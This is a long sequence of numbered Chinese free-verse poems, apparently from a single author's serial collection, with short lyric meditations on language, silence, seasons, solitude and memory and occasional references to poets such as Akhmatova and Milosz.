比如，心意。 借此机会我们的语言进入， 像一种偷梁换柱，听者应当带着一颗悬疑的心儿 常听的样子像专注，在树荫下面 从这里看是一个静止不动的身影 交付了面容的人儿会来到这里， 在此之前，他人是如何各怀鬼胎的， 那些进入无形里面的语言， 有时候是会涉及历史和证据的语言， 同一种语言从我们陌生的地方回了来， 在乡村僻壤的这一支语言从别处回来， 像历史因此被认定， 像听者也被一些宏大的事物端着， 身子骨自始到那个至终，都是乏力的。 昏暗382 《昏暗》 像昏暗的夜里面有下坠的事情正在 悄然的发生，像戛然而止，这突兀的感觉 像语言。 此刻并不是欲言又止的时刻， 语言是那一个事物，它吞吞吐吐， 制造的因果让人陷入了迷离。 那些我所关心的事物，却是别的，对于肤浅 从众多的里面，可能性所展露出来它们一点点的头角 所组成的繁多的景象，而在我的眼睛里面 同样还有群星，星辰发出着，适合于去想象的光芒 我在光芒里面投降了，我甚至对于自己进行着一种诉说。 我看到了一个事物，就会产生出一个想法， 我要制止住自己，试图回到过去的欲望。脚下的一棵石头 还没有产生隔人的感觉。有的民族 到达了诗歌，一群牛马到达了诗歌 有的民族到达了戏曲， 中国人的身影看着，那些奔袭的牛马群 也曾经给予我们痛苦的记忆。 戏曲的国度仿佛别无二致， 我肤浅于此，绝非一种身体的本能，那耗尽了 我恐惧的，那些奔袭的俄罗斯人野蛮的诗歌 和灿烂的诗歌， 诗歌里面的雪地， 和那些阅读。 当我已经合上了一本我没有读完的 阿河马托娃的《安魂曲》，我带着一颗性x压抑的心灵， 我无法解释这种凭空出现的新的东西， 它因为无能无力的更为宽泛， 在延展却因此贫瘠的土地上面， 我们所获得稀少， 在上面的声音， 只有盖房子的声音可以将它掩埋， 将它结合的时刻，被称作砌筑的时刻 那些因为了无能为力而常新的， 它所包含的隐喻，双重 被同一种阳光照耀着，它以诗歌的形式 是俄罗斯。有时候涉河而过走的匆忙， 在我的要求之前， 但我并不是这一座房子的主人，它 使我悬而未决。 思想383 《思想》 在思想之上，我们同样的被展示 无知，并非一个单一的事物 像塌陷而形成的流水 一个单一的词语可以表述，在于 错误被掩埋。错误经过了更加曲折 但一切都在黑暗里面发生。 像书写的东西，并不是那个对象， 我们并不沉浸于无所知之中， 对于我们的状态，悲天悯人之前 或者当一种感觉油然而生， 这词语同样是美丽的。 季节384 《季节》 秋天正慢慢的降下来， 直到在人们睡去之后， 才复活的思想中成为了布景。 但是我要忍受着突兀，就像将我自己 置身于某种伟大里面 和偶尔谈及的微小。 像暮色时分的光残留， 像枫叶林之于山坡，也还有别的。 但不是未说完的话语像受到了某种催促和压迫 即使沉默并不能解决掉什么。 听不到有什么掉落， 期许不会像银色的针。如果那些微小的事物 逆流而上，它们转身的时候，是信心满满的。 我爱这样的风景，思想的贫瘠 枫叶林与山坡，河流有着优美的曲线。 如果美都不能解决掉一切， 我冲着无意义的地方，在落脚之地 用一生来追问，在植物的名字上面 不仅仅是我，民族的重复之中 才有了正确的东西。 像它那隐线， 在名字上面是声音， 落在地上面的阴影，又把 人们的普遍愚昧和贫乏遮盖 而那些美，因此被发现 和那些语言，同样很是微弱 更为微弱的经过了一阵风的吹动， 就离开去到了别处， 我总觉得那里是一个人生命的尽头。 无题385 《无题》 那一个句子，看起来那么简单。 被端详而不会羞涩，不会是现在， 对于我的思想是春天。我们简单的说出它 甚至于随口说出。像赶来的人匆忙。 声音已经离开了嘴边，像书信传了出去。 那一个句子，不在今天说出， 沉默的经过了许多个时日，沉默成为了 一种习惯。在开口的时候我们有一些不习惯 我知道是那个曾经在屋檐下面躲雨的人 缓步的走向了田野。遇见了另一个人， 他心意上面的涟漪骤然散开，淹没了许多东西。 生活386 《生活》 不必重复，让生活把一切都占有。 走在路上，或者忽然停下了脚步 说靠近，大地也会不移也不动。 那些回声会带着颤抖气息，慢慢的消失掉 这个晴朗的日子已经到了傍晚时分， 再次的被我们提起， 我们像是共同的在说话， 吃力在于思索，如果有所赋予 给它。这是你我共同的心愿。 过去387 《过去》 从过去直到此刻， 或者反之。 并非我试图索求， 那贪婪的心一刻也没有停止过。 包括了反驳，和静止 像停下来脚步， 印证那来自于别人友善的命令 我们到达了一处好地方， 在傍晚，群星正铺满了天空 欣赏景色的并非只沉浸于此， 夜色使我们迷糊， 那些最为粗糙的词语， 已经丧失功能的文字和人， 像两种同命相连的事物， 被赋予了美丽的光泽表面。 无题388 《无题》 把面具轻轻的戴在脸庞上面， 如果无人察觉，又不是那一个山清水秀之地 我可以放松下来，思想这个名谓被抛弃， 作为一个多余的事物，或者它本就在说出之中 被提及的事物，像山谷借由桥梁的彼端与此端 思想带着闪亮的光芒，像渡河而过的人们，像在一次 偶然之中才会真正的存在。而这一个句子， 充满了救赎的句子，允许我遗忘和放松的句子， 如果我以随意的涉及，那思想并不被提及，也 绝不会作为一种过去，当它渐渐地从那过去的思想之中， 以记忆的方式展示自己的事物，曾催促了一个止步不前的人。 而对于思想上面的微薄收获，那些作为丰收的体验， 当那种感觉曾经充盈，仿佛来到了一处与世隔绝， 又有美人相伴的地方。 鲜花寺389 《鲜花寺》 雷平阳老师住在YN省 和他的《鲜花寺》，《送流水》 悦耳的声音我也曾听闻 如今是它自己的归还，我是 那意欲挽留， 伸出来的手儿， 不止一次，如同落了下来雨水的景象 在一只胳膊上面 再过一些日子， 像在青石阶上面，有一些年头了。 荒野390 《荒野》 在万物肃穆的田野上面， 那些迎上了风的事情， 被夕阳搅乱了。 万物同样萧条， 除了贫瘠，在我口渴到快要冒烟的 嗓子中什么也没有说出， 那些因为改变而宇宙的不同， 直到它们的轻微依然不被察觉， 从我们嘴里面说出的轻微， 让我们以为我们掌握了主动权， 像我对于一副荒野，在理解上面的贫乏 在抛出和认定上面 同样的事情也发生了。 孤独391 -《孤独》 我愿意孤独， 如果它能一直保持。 用是否有所尽头，那些问题 带着饶有兴趣的笑容 如果没有回应， 我们也不会感到生气。 一天里面偶然发生的事情， 一定是对错误的代表 事情应该出于恳切和忏悔 当一束光， 投射进了窗户里面，光景暗淡。 对于重复的事物， 并不代表着返回和中途的突然停下了 脚步， 像一场不欢而散， 当你的脸庞靠近， 像一面镜子，靠的很近，逼近了， 那些可以用来作为反光的。 瓶子392 《瓶子》 瓷瓶的表面，颜色是漆黑的 属于第二重台阶 用一句话的表达就可以概括 像它的完成时刻 过分的美丽，当人们把它从简洁 和简单之间，挪移了开来 直到这个静物的历史 把光泽隐含在了黑色里面 以瓶身与外界接触着， 有时候像侍女 因为一次触碰而感到了羞涩 同时也像那些，在你看起来 如同古代的礼仪，再现一般。 发生393 《发生》 诗歌所说的全部， 就像在你沉默的时候 事情就已经发生了。还发生的圆满 耗费的历程已经溜走 时间也趁着我们的目光没有注意， 而悄悄的走开。 像所有的鲜花听到了召唤， 聚集在一起。像语言聚集在了一起， 还有别的正被匆匆的遗忘。 我们又该如何的来说起，当它们 转瞬即逝，我们的谈论在酒杯碰撞之中吃力。 若一种感觉也拒绝被捕捉， 只有在疲惫不堪中才偶尔把失败表达。 像某种倾诉， 灯光亮起的时候，每一天都会发生 为了发生而上演， 每一天， 我无法去甄别和细分。 伊万394 《伊万》 古老童话里可爱的伊万， 你的房子破旧， 如今已经不再属于你了。 你从那里经过， 仿佛离开了土地一般的一个起点， 那贫瘠摆脱了一次又一次，这尝试 如今又是了， 当你经过了那破败，到别的地方去时 这准备， 你不能理解，转过头儿向别人来问询， 向你遇见的一个人， 我正准备向那里走去， 你用行动所刻下， 闪耀着迷途不知返的无力感觉。 睡去395 《睡去》 在人类沉沉睡去的时候， 像是因为看不清或其他什么。 像一个物体没有完成 正在赶来的路上。 那些深处的是人类共同的福泽 轻轻的拍打着，手儿一起一落 我有时候会想起自己被被别人 这样来轻轻的抚弄。 赶来的事物不止一个 而从稀少， 也有一些事情会耗费掉它的时间， 如何从一个合适的场合 一切才能被坦白 从一到多，一，也是某一种单一的事物 我们要讲的是别的， 随意的谈到像触摸，很像很像。 雪花396 《雪花》 有很多很多的事物， 有雪花， 已经占有了无形里面的某一个位置 并且用词语来标准了它， 那未来或者举棋不定的一道光芒 我是说，那位置 当有一种不断使人们后退的力量， 像手掌轻轻的按在我们的背部 辨别向前的人们， 来自于未来和某处。 夜晚的雪花失去了声音， 但声音只是别的， 像存在已经可以以其他来表达和表示 我往前再迈出去了一小步， 像是某种呼应， 而且总是两两对应的。 机会397 《机会》 没有什么人给了我们机会， 田野并不是正式的场合， 从那些歌唱，在它们闭口之后 像一个时间， 接下来就会自然而然的发生 把我们的语言 和其他的什么事物， 像从我们的口袋里面，掏出来 摆放在上面 在无形上面的摆放犹如某种 会耽误了，并且占据了位置的神话 而抬起头， 我们或许满脸涨得通红， 因为我们看不见才看，直到观察。 在蓝色缓缓下降的背景里面 从四面八方， 四个方向。 而我们走的稍微早了一些， 但仿佛又慢慢的开始有了它正当的地方 被提起的理由， 是因为匆忙的赶路 是为了赶上那些因为我们的焦急 而在时机上面的略显匆忙。 无题398 《无题》 事物轻轻的移动了， 在晴朗的天空开始转向傍晚的时候， 就一定会有所结果。 一株植物生长在了那里， 根扎在土地上， 身材只是一根细长的，茎 不会通往别的地方 摇动的风带不走什么， 也不是什么告白 回想与一次亲吻有关， 但虚幻不与沉默的事物倾诉。 孤独的人不会从他最初的简单设想 离开不会真的有所行动和坚持 来到了旷野， 或者心生出来的是怜悯 极其温柔，因为像水一样的无形， 又知道在莫须有的等待里面 不会有人来叫出。 我们399 《我们》 我们共同拥有， 无形，有时候向着别的地方， 只是留下了语言， 听到了有人推门而出，关门的声音 看不清人影。 那去到了别处， 早已经成为了被蛛网 尘土查f，历史的形成 当它守护着自己的缓慢， 特别是对于一个曾经迅捷， 和短暂的事物， 对于那个误解而言，或者它也失去了自己 借助一束光芒才回过神来 它借着对尘土的扑打而发生 像某一个没有完成的事物， 一端连接着久已经过去。 季节400 《季节》 四个季节里面， 我都一直是在走着， 那路途的终点遥远， 有时候我迷茫，都不知道它在那里 我有时候停了下来， 休息，星光下面搭起了一个 简单的帐篷， 想起了像那四季，它总是起起落落一般的 没有停歇的走着。 同桌401 《同桌》 接下来发生的事情， 不会在未来把风雨搅动起来， 孤灯长明， 那样子的时间太久啦， 侵泡在温软的语言里面， 有时候她悄悄的靠近了你我， 她只是一件衣服， 取自某个地方， 对于唐代，宋代也都一一的不做回应。 而如果这样的事情如同垂怜， 发生在了一间陋室， 请咽下你反驳的话语和情绪， 就像一杯水被你咽下，依然带着 难以克服的粗俗 正是从我们 隶属农民的这一束光芒里面， 它升起，像等待又无法说出什么， 那美丽还在门外徘徊着。 上面402 《上面》 纯粹在上面待的时间太久了 就滑落了下来 这种情形弃解释于不顾， 那些星星区分不开白天和黑夜 像那些混合的心思 已经成为了最后的一堵堤坝 由一双放在我们腰部的手儿推动着。 而如果，迷途的星星， 因此代表着某种远，它又因此命运着 在我们的嘴里面说着空话。 纯粹在上面经受了冷风吹， 在树上， 择合适的时机而不得，就在寻常的村庄一角 被风吹起的时候， 人来回的走着 像摆动，属于某一种植物 我把它放在了那根延伸向上的茎 某种隶属的发生更早一些。 抄写403 《抄写》 只有抄在纸上才是万全之策 只有月亮高悬， 被人挂起的怨气由来已久了 我们对着那叩门的声音充耳不闻。 事情由它们带来， 即使事实上因它们而起。 纸的上面，犹如一种投影 月亮每天晚上都被租借着使用。 那些影子问不出什么东西， 干脆就让它们沉默， 偶尔有所倾斜。 如果我们把自己的话语咽了下去， 和别的东西一起。它们 都在门外， 推开了门，走了出去， 我们该以何种姿态， 来面对，那个真在起伏着。 石头404 《石头》 借着石头的沉默不语， 石头裸露的外表虽然粗糙， 我们从一次次的擦肩而过 那里回来， 有着偶然的意思。 这一次是我，某个人儿也正在 被我思考和怜悯。 如果他听不到我的哀伤， 他觉得太过懦弱 对于词语表达上面的不准确他也 未曾予以理会。 如果一个人有他自己的事情， 我们共同面对着的绝非生与死 和对它们的谈及 当那个真实的时刻，突然揭示 一道刺眼的闪光一般 那些见证了他人逝去的时刻 ————我在那之后， 与他一样离开了那里， 在路途的中途，坐在一块石头上面 休息。 河流405 《河流》 这一截流水， 从树丛之中的某个不曾察觉之处 突然的流出， 再次的那清澈把突然来重复 流淌之中让我们和语言 都一一的下沉。 这造成了我们心中的奇迹， 对于流逝或者固定不动的事物 我们在草地上安营扎寨 生活做饭，炊烟笔直。 这空空的山谷 不曾到来太过惋惜 而它由远山的遮蔽组成， 靠近的时候， 我们遗忘了， 有什么让我们一路向前。 时刻406 《时刻》 而那些变作了云彩的 尚且还有一些留恋， 用力的试图把话语来说出。 我不能在走在了你的面前 这个傍晚的美好就属于了，一个 微不足道的人儿。 人类共同的本质 关乎于存在，像从高高的 悬崖，息息相关于它自己低矮的部分 而经过真实， 如同光芒在早晨，太阳东升时候的照耀 同样是那一个时刻， 我们经历了太多太多的事情， 随着那真实在光芒里面 正作为了它本身 对于那些无知， 那些全然不觉的蜷曲，背部弯曲的人儿， 又有一些历史塌陷 在她的耳边划过。 我们407 《我们》 我们不曾有过犹豫， 我们的全部行李只是书籍， 有时候我们的心儿空着， 空成了美丽， 由美丽向花朵慢慢的生长，你 坐在宴席的另一端， 在一个掉了一点点红漆 边角有一些磨损的桌子上面 像同样在大如宇宙的地方摆满了食物 菜， 正应着你的好奇和问询， 有时候我也在你的目光之中，可能更深一些 树408 《树》 我们几乎是在， 沉默之中长久的摸到了自己的良心， 在生活和日子里面， 太阳如同原因的起源， 推如同落得了升起，这相反的结果 和那，与此无关的光明，照耀着 我们的幸福。 我们正欲回到它， 在事物的起初，有一株树生长着 美丽着， 还没有被赋予名称， 我们被一些别的什么事情给耽搁了些 时间。 单薄409 《单薄》 我一个人单薄， 寻找着群体，说的却是 别的事情。 像一条河流转弯， 或者停留为了叙述它花费了一些时间， 但也会在言说的时候让遗忘发生， 因此我们言说的 慢慢的也会向那遗忘，变化。 大街410 《大街》 悄悄的处理， 也在此刻发生着。 像我自己的工作，在手头， 准确，并没有来问询。 某一天下着雨， 会错乱了一切平日里面的 先后顺序。像逆流而上的鱼儿一般的 辛苦，又像不得不曾经为了生计 而今却是内心驱动下面， 发生了的繁衍。 上游的街道如同产卵已经发生， 排列整齐，是最美好的事实，甚至 会因此降下来语言。 那个撑着伞的调查员 目的地是我这里， 中途是一场值得怀疑的雨， 碾碎了脆弱的心思， 给它贴上幼小的标签。 那些上游灯红酒绿的语言， 已经抵达了。 现在411 《现在》 现在的你， 事情还没有做完。 现在隐藏起来的你， 在温柔的南风里面，人儿 让单调的乐音为你送行。 因此，大的，在世界那唇瓣上面 与街道两旁的灯光息息相关 从那些沉默如睡梦， 当我们的无知一次次作出着 仿佛不曾抗议的反驳， 我们那些挥动着的，动词一般的手儿 和那些被吹皱了的池水的表面。 原谅我依旧笨拙， 只好向自己忏悔， 如果我有所作出， 即使它那么的轻微， 因此正试图不被人们察觉的时候。 无题412 《无题》 为轻的事物叹息。 只是一个词语，但让它停留在那里， 叹息，听从于人的意志。 让世界的繁花，开放，有所奥义 不仅仅那个表面， 它那深处 所以开放是一种表达，我听到了门内 把什么斩断了的声音。 传播过来的其实是成功二字， 震荡弄得我头晕脑胀， 我的眼睛没有任何的危机感， 在别人寒暄的话语里面，趁着打一声声 招呼而抚慰着。 自我去到了别处，闲暇就是这样诞生了的 我有时候是带着一束光芒来的， 一束明亮， 我有时候想把一切推倒重来因为我知道它们是堆砌和填充， 我没有耐心，听不见的时候， 一只耳朵自己走进了诊所。 残留413 《残留》 我已经被它们弄的疲惫， 它们久久的不愿意离去， 它们推开了门，我的 像是要进来， 当我试图说话的时候， 那出去，与进来的样子一样， 与潺潺的水流只能在语言里面 存在一样。 带着春天的弦音的流水 从来都不会贫乏， 更不会在我的一再提醒里面 泛起通往迷途的浪花。 我有着更为隐秘的心思， 我像是养了一只， 每天都来到流水边饮水的白色山羊。 如今正是我赎罪的时刻， 蜡烛，在停电之后被点燃 光明恍惚之中带来了一个古代。 所以，我总是在话语的推脱里面 一再的提到了你， 让你离开，从生回到， 当哇哇大哭如同孩童，挥舞着双手 是否合适。 像一个悖论， 需要更大的形容词语的力度 和那些个人一一的离去之后， 身体上面酒意的碰撞残留。 重复414 《重复》 我所得需要被重复， 我失去的更多， 它们早已经变成了一种回声。 唯有从一个回来的方向上面， 像我赶来的时候， 一次次迎着那些阻力的风。 它们无形， 它们有时候因为存在的历史太过于久远 它们择良木而栖 像大雁摘取了自己的羽毛， 那喙是无形的， 经过了自然，眼睛就如同夜色里面的秋千。 而那些有关于拯救的东西， 如同焰火一般被提起的时刻。 它们的震颤也带着误解， 对于我而言， 心内的微小一直存在着， 我所面对，巨大，让我想到了史诗。 院子415 《院子》 对于阅读者来说， 在早晨事情有变， 人儿急躁，一颗心端着 或者放下， 那双手承受不了的重量。 我们再也不是自己， 是我自己正正襟危坐， 律法让我如此， 一群人围拢住我的院子 像我的话语， 他们因为被包含在其内而生气 他们在别的愤愤不满的时刻， 也走向落花 停留在嘴边的春天是可疑的 寓所416 《寓所》 诗歌的内容被淡淡的雾气 笼罩着，处境如何 我看到了扉页， 被一双双人手抚摸过的表面。 我还没有经过一座桥梁。 诗歌的内容比书写更甚， 如果不是如此， 像那些被端来的诗歌， 共享同一个名字， 像此刻我是一束投影， 只能在地面上才可以逃离 在文字的疆域里面， 只为把自己的寓所寻找。 我们417 《我们》 我们的声音轻一些， 过了院墙就是别人的家了。 别人的声音也不会 传了过来。像人脚步发出的声音 在清晨总前后脚追赶的方式 自我否定。 手里面还拿着铁锨， 当它不能够更深时 我们只能握在手里面， 不会为这一些轻松的场合， 太阳， 远处属于起初之处的泥土而 有所变化， 它们轻微的发生， 有时候是我们自己。 桉树418 《桉树》 即使人们闭紧了嘴唇， 很多的语言改变了它们曾经温柔的 形象。 像倒影，轮到了有关于未来的那一问。 嘴唇闭的不够紧 或者还可以更紧密一些。 当这些实情从中流露， 形成了奥秘，在远处， 或者在更远一些的地方淡化了一些， 捎带着又由什么带了回来。 如果我们更困惑于厘清， 用一句话来随后表示， 但没有什么人， 我们的身体靠着桉树， 对于我而言，那是一种我在 书本上面读到过的 但没有亲身见过的东西。 都江堰419 《都江堰》 真正的，它们无辜的身姿 顶多它们在沉默的另一方面 继续保持着， 那些栽种，修理，统一由 劳作的途中不断说些话语的人们。 有时候更进一步， 有时候悬疑来自于那更进一步的人 与劳作的某一个人可能是血缘关系 在地理上用石头打出了水漂。 更进一步装在了照片里面， 真实仍然存在，真实立着，扁平化。 那个无辜的都江堰的山，山上的小亭子，矗立在 那里。 人们爬了上去，累的够呛。 亭子，是新建立不久的。才几十年 或者可以更久一些， 从这一条爬上山坡的路上运送水泥， 或者石灰，或者话语转变， 反过来从现代， 作为历史之中的某一次难以察觉的意外 或者悲剧， 被思想遇到了——哪怕它不言不语， 借用了我们第一次 看到它，都江堰时候的印象。 夜空420 《夜晚》 有一次，夏虫一般轻微 如同它们的尾巴消失在了夜色里面。 我往前走着， 捎带着替别人顺带的信件 这些短促的事物， 同样也是自身要满的事物，正 看着，像等待着什么笑话 或者某壮烈的景观。 像自身惊异的个体， 在经过了笔，纸和内容所提到的刀子的 一整个流程过去之后了。 对于陈述我也无力， 如果我走的快一些， 天空那些静止不动的群星， 就会有着往后倒退的可能性。 蜡烛421 《蜡烛》 给你一根蜡烛， 在今天这个夜晚， 它静静的流逝着， 像是白天的一副面容之中的 愁绪，有时候思念的波浪泛起 一颗石头打出了的是已经开始慢慢下沉的 疼痛。 我们疼惜于了，对自我的问询，我觉得 你像一个杜鹃鸟， 杜鹃鸟儿，如果你能承受它们 正在变幻的时候——因为疲惫的遗忘 就像我感觉到了我的唇很单薄 我又不想在失语里面说起 什么。 老鹰422 《老鹰》 我居住的地方， 我简陋像是随时准备 开口说话的家 寓所，是逃离的燕子， 因为被准备展翅飞翔的老鹰所恐吓。 一个声音里面， 极有可能包含了雪花 以及雪地的秘密。因此，它才覆盖 它坦诚了某一个方面的白色， 以此换取了别的什么。 寓所是往地上砸出一个坑。 我离的它很远 我见过别处的老鹰， 家乡的那一只在这归宿和终点 它失败于天空，它的难解之谜是 天空的辽阔。 我这个沉默的人， 因为没有人跟我说话 我涂抹着这个夜晚， 我的心儿因为无力而叹息。 这里423 《这里》 这里，或者那里 或者从漫长的路途上面， 带着记忆的回了来，饮下 一口水 体会它清冽甘甜的味道 未来已经发生了向后倒退的转向， 在这些笨拙的词语上面 同样拥有一种重量， 我退群回一只鸭子的身上 去掉了它的羽毛 它的羽毛是它鲜活的生命 未来是一个持久的迷， 在饮食结束之后的告别里面， 他还是穿过了那道门， 我们的身影依然在迷雾之中存在。 落山424 《落山》 太阳落山去了， 一路闯进一首古诗里。 文字和言谈有别， 像松树有别于别的， 门前的路，或者别的。 像言谈它自我孤立着， 有那么一小段时间里， 无论什么都会沦为失败的尝试， 从青松，屋角 我发出声音，趁着暮色 那些倾斜但暗淡的光芒 这种程度的指针， 轻轻的落下，来把事物覆盖 影子425 《影子》 你在我的面前放置一杯酒， 你这个庄重的影子 就会堵住我的退路。 让无路可退的人只能往前， 转过身子，但无人察觉， 转身如历史里面的一声叹息， 还要更甚，还要更为的准确和困难 于是，有人提笔疾书，那些诗章 有其具体的形象，也是配角。 在相同的意义上面，是大言不惭 比如在明代。你对着空空的夜色插话道 那人儿便是一个被贬之人， 滚滚长江水正在南方等待着它， 花朵也折了。这个人使得宋代停留了太久 众多的诗人可以以当代之名， 又于夜空之上闪耀。 我不去追究这是对是错，我知道你就在门里面 在你看来我是一副恍惚的面容 在酒的后面，我同样开始为历s担忧起来。 花儿426 《花儿》 你会不会是季节里面 太过急促的花儿呢。 因为听闻了什么， 在你的头顶上面， 新生出来的晨雾， 它所遇见是傍晚的暮色，用 它那极其单薄的羽翼。 我知道，你羞涩，不好意思 对着我的唇瓣开口， 所以我愿意呢， 代替你来说话， 来把你的话语也说了， 我呢，会一直说，说情话， 说的你静默， 红彤彤的。内容， 我已经遗忘了。 妻子427 《妻子》 我从没想过能跟你这样美丽的姑娘同桌， 我想穿过你， 去跟美丽道一声， 我会稍稍的停留一小会 在谢谢的声音里面 有个人悄悄的离开了 向你，向你的不再美丽走来， 我的妻子。 自愿428 《自愿》 我自愿肥胖，往回走 自愿意于寻找旧日的酒家 它堪忧的处境， 破败的旗帜曾经挂在窗户的上方 稍微高一点点的地方 那些树枝使它可以如此这般， 面对着那些来来往往的人们， 多半是商贩， 对于它，那种立于高处的个人看法 风吹动， 别的东西没有离开， 像未来的隐喻，但是特别的单纯 像未来的一个人，曾经来过， 面对着的便是旗帜和语言上面 人们从陌生，惊异到熟视无睹的面容 今天的一束目光， 如果我们以过去的方式来看待， 未来如果充满了愚昧。 核桃树429 《核桃树》 人们说完了的话语，带着 意犹未尽的味道。 三天之后是说完了话语之后的三天， 那些核桃树跟三天之前并无两样 静止，或者被风吹的叶子晃动 哗哗作响着 像静止的更深之处， 当思想意识到了这风吹动的本身 与静止无异，并且其实一直都寓居 那里有一个木床，但是床板很是坚硬。 晚年430 《晚年》 我翻动和打开， 米沃什晚年的着作。 从河的对岸而来， 他在河的对岸终于停下了脚步 他甚至是从风雨里面来， 带着太多柔情的人儿，表面 被东方人的心思， 在他看来那些绯薄，没有重量 如同蜜蜡， 淡淡的包裹着。 连同声音也都一同消失， 甚至事物。它们的秘密 或者丛生， 作为一种新生， 当突然并且伴随着一声 对于叹息取代的惊讶，当那一位老人 我知之甚少， 他的着作，装订美好， 有一丝庄重，我像是那一个， 在此时走进去的人。在另一岸。 不会431 《不会》 不会给出什么， 人的嘴唇并不总是泉水， 也不是它干燥的时候， 那些日子它偷偷的沿着一条小路行走， 即使它也不是为了躲避。 如果把那些能够避开的事物 放进人们的心里面， 并且在波浪的散开之中， 一双手儿与清澈无异， 一双羞涩的手儿， 被我们摸到了，又返回到了水里面。 我知道一切都是回忆， 在凌乱不堪，甚至伴随着灯火 而笙歌艳舞的夜晚 发生。就像天上的星星，或者 你唇间易碎的气泡， 我把它戳破了，不发一言，仿佛共鸣 仿佛立即就会散开。 琴弦432 《琴弦》 把那个叫做琴的放进桌子里， 和那个声音 放进夜晚的深处， 那些凭借的我无法归还， 没有一种行动，我们所面临的 别的事情已经被凌乱的语言所堵塞 热腾腾的口气， 像炊烟，淡淡的，笔直的。 放进矛盾里面，放进我所担心 事情里面就不会再有别的什么了 今夜，不会只有我一人 那些共同的思想正面临着同样的时刻 与情形相一致的时候， 这事情发生的悉悉索索 有时候与天上的群星并无二致。 无题433 《无题》 生活很慢，生命很慢，它们属于别的事情。 我躺在了床上，完成了一个生命历程 它其中别的部分，和那些组成了它的部分 像它思的部分， 在月光下面反射着光芒 这同样很慢。 平原434 《平原》 雪在那里， 我们用一只杯子来遮挡它。 我们的行程漫长， 这里只是中途，雪花覆盖的大地上面 没有语言， 夜晚甚至没有挥洒和落下的月亮， 我们的脚步只能浅浅的印在上面 有时候在跋涉的时候， 也印在了我们的良心上面。所以 你如今知道了这么多的秘密， 知道了一双干裂得嘴唇， 我在秘密里面时时刻刻的望着你，像我 之前想你。 我曾经在大雪山的山巅向着远处眺望 像古老的农耕民族，因为一次失败 而逃进了陌生的地方。 在我的肋骨上面有他们的遗留， 我没有望见你， 在别的语言里面， 那时候它们正缓缓的蒸腾， 那时的你在哪里。 无题435 《无题》 人们能否在敲击之中有所收获 木头悬挂在水面之上， 我与他一墙之隔。 我与这个世界的喧嚣和它那 陡然的孤独一墙之隔 与听够了我冗余话语的人，一墙之隔 喝完了水，我会滑向一个我所未知的地方 野花在山坡上开着， 我无形的手掌，如同养料 但辞别的意思很强烈。 无题436 《无题》 人们能否在敲击中有所收获， 便不断的敲击着，远离开来城市。 木头悬在水上， 我与另一个人一墙之隔。 我与疲惫不堪的人， 与夜色。也与一种这里和那里的混合 一墙之隔。 在叫出的历史里面，那已经发生了 它的存在也已经衰老， 在木头制作的事物上面是斑驳 这是一个很慢的历程， 对于我是具体的缺失， 有时候我能发现一些什么，带着惊异的口气 我看到了整个世界如同虹光 在事物的表面倾倒。 自画像437 《自画像》 我不饮酒，热爱传统却是 人群之中的微不足道者。一束光 寻找的辛苦，落在了我的脚步旁边 像傍晚的夕阳， 如果一个人想要形单影只的孤独于 他的话语 他想要去别的地方。 想要离开这里， 击起了地面上的烟尘。掩埋了 喉咙里面事关于土地的 一切。 不能给匆匆忙忙的人休息的时间 密密麻麻的人群无一例外 如果把错误放入如同误解 它们的时常发生属于别的， 但占据了我们目光的，使得我们的心神 摇曳 ——那些得过且过，或者那些偶有的闲暇里面 我们为了饮酒而穿过了一条小街。 镇子438 《镇子》 在河水慢慢的下沉， 变得枯竭。 而那些声音远远没有消失 消失不见的是别的， 我确认是我，从一个微不足道的人儿 身上，升起 意味着下降，或者离开与远去 在语言里面这些 或者我也可以说的更多， 我是如此的贫乏， 夕阳却依然缓缓地照在了我的身上 我像一条河水，回忆和想起。 我们439 《我们》 我们摸到了事物， 是我们自己。 像是一根废弃的绳子， 不使用了，被丢弃。 如果一些语言也是如此的 这样或者那样，或者都于事无补 对于人所面对着的心意， 从那渐渐冷却之中，如果他不是第一次如此 还有很多仍然在等待着他。 无题440 《无题》 叠浪，在句子的里面 甚至我们的猜测错误，正确 是一道光芒。我的脸颊贴近 我把自己的脑袋靠近， 像有着一个可以出入的孔径 用来观察。用来观望 而一切远没有结束的意思， 对于开始我已经失去了期待 我的耐心，我的心儿 在朦胧里面我昏昏欲睡 有着清新外表的人们， 嘴里面试图通过说话， 来让一切固定下来。 无题441 《无题》 我想象， 并在下一刻里面慢慢的消失不见了 像我所追踪的是尘土， 从地上升腾起来的也是它们。 我们改变了主意，看不清未来 踮起来的脚，脚掌的前面用力的与地面接触 并且发力，就像历史在发力 像气喘吁吁的人的呼吸只发生 只是急促于下一刻， 只为了人单纯的明证 那些是人的，它自己来，又自己一无所获的走。 一面映不出来人脸庞的叶子让一切回来 通过倒转，离我的否定尚有一段距离。 无题442 《无题》 每一个人儿， 他独自一人并且对于孤身作出着 反驳，看到一个人莫名其妙的说话。 未来是一个人的亲密盟友， 一个人对待着过去，那里会带给我们 某种看法和态度， 甚至在太阳光线里面显得斑驳 我敬重的一切，包括那些疲惫不堪 却依然热情的人们 并且在他们平静的时刻说话，如果 问询的人是我。 什么443 《什么》 物的和非物的，还有别的什么 在它们自己的身体之上， 像是用来载物的铁皮车厢 正空荡荡的驶向远方。 下一个车站，地图上面已经被标注 没有说完的话语 用永恒的回荡， 像是在大地上面的漂浮。 我思想的一切在我微弱的时候发生 我目睹了，并且有所见证 并且遗失，我在回忆的时刻。 别处444 《别处》 别处。 这里发生的骚动。 之后时间将会流逝， 缓慢而平静。 像我倚靠着，身子倾斜 只有通过这个自然的角度 阳光从那里洒落下来， 它已经消失，而消失不见的 是别的。 无题445 《无题》 我不仅仅梦了， 面对一副红色的嘴唇 单纯的话语。我还想了 我踌躇的身姿，尴尬。 身边一棵槐树， 夏天的影子通过鸟儿慢慢的落了下来， 我为小的事情 而我的自豪在于迫不得已的诚实。 当那些残缺，在完整的穷追猛打之中 没有一刻停歇。 像钟表盘的上面， 事先被告知了关于转动的消息 不只是一个， 我醉心的如果是过去， 对于现在的一切，以及那个到来的人 她只是一个时机，她自己等待的是别的什么 正在我的身体上面冲突着的一切 或者那些思，命令微不足道的人儿 去认识我称呼为平凡的东西。 无题446 《无题》 原因，什么时候都可以 在话语的偶然性之中闪现。 我是这么认为的， 这是我的看法，陪伴了我这么多年的 肤浅和贫乏 对于活着有一种终止的作用， 它一直往前，埋没经常的发生 和新的东西，在旧有之上开出了新芽 在悬疑的东西上面 这并不比在一颗石头上面开出更为的 让人震惊。 它坚固，日日夜夜经受着错误的论断。 无题447 《无题》 静静地做鸟， 这个地方，天地之中的指针 被慢慢的安放， 那些苛责多么的温柔， 这里应该有一个东西 在虚无里面空无一物。 